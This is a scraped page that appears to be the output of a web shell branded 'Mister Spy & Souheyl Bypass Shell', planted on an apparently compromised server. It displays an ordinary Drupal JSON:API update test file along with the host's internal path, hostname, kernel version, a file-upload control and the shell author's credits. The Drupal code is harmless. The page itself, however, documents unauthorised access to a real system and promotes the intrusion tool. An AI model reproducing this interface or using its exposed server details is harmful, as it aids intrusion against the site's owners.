Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/ift/web/core/modules/jsonapi/tests/src/Functional/Update/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/ift/web/core/modules/jsonapi/tests/src/Functional/Update/ReadOnlyModeUpdateTest.php

<?php

namespace Drupal\Tests\jsonapi\Functional\Update;

use Drupal\FunctionalTests\Update\UpdatePathTestBase;

/**
 * Tests that existing sites have the new read-only mode to "off".
 *
 * @see jsonapi_update_8701()
 * @see https://www.drupal.org/project/drupal/issues/3039568
 *
 * @group jsonapi
 * @group Update
 * @group legacy
 */
class ReadOnlyModeUpdateTest extends UpdatePathTestBase {

  /**
   * {@inheritdoc}
   */
  protected static $modules = ['jsonapi'];

  /**
   * {@inheritdoc}
   */
  public function setDatabaseDumpFiles() {
    $this->databaseDumpFiles = [
      DRUPAL_ROOT . '/core/modules/system/tests/fixtures/update/drupal-8.bare.standard.php.gz',
      __DIR__ . '/../../../fixtures/update/drupal-8.jsonapi-jsonapi_update_8701.php',
    ];
  }

  /**
   * Tests jsonapi_update_8701().
   */
  public function testBcReadOnlyModeSettingAdded() {
    // Make sure we have the expected values before the update.
    $jsonapi_settings = $this->config('jsonapi.settings');
    $this->assertFalse(array_key_exists('read_only', $jsonapi_settings->getRawData()));

    $this->runUpdates();

    // Make sure we have the expected values after the update.
    $jsonapi_settings = $this->config('jsonapi.settings');
    $this->assertTrue(array_key_exists('read_only', $jsonapi_settings->getRawData()));
    $this->assertFalse($jsonapi_settings->get('read_only'));
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net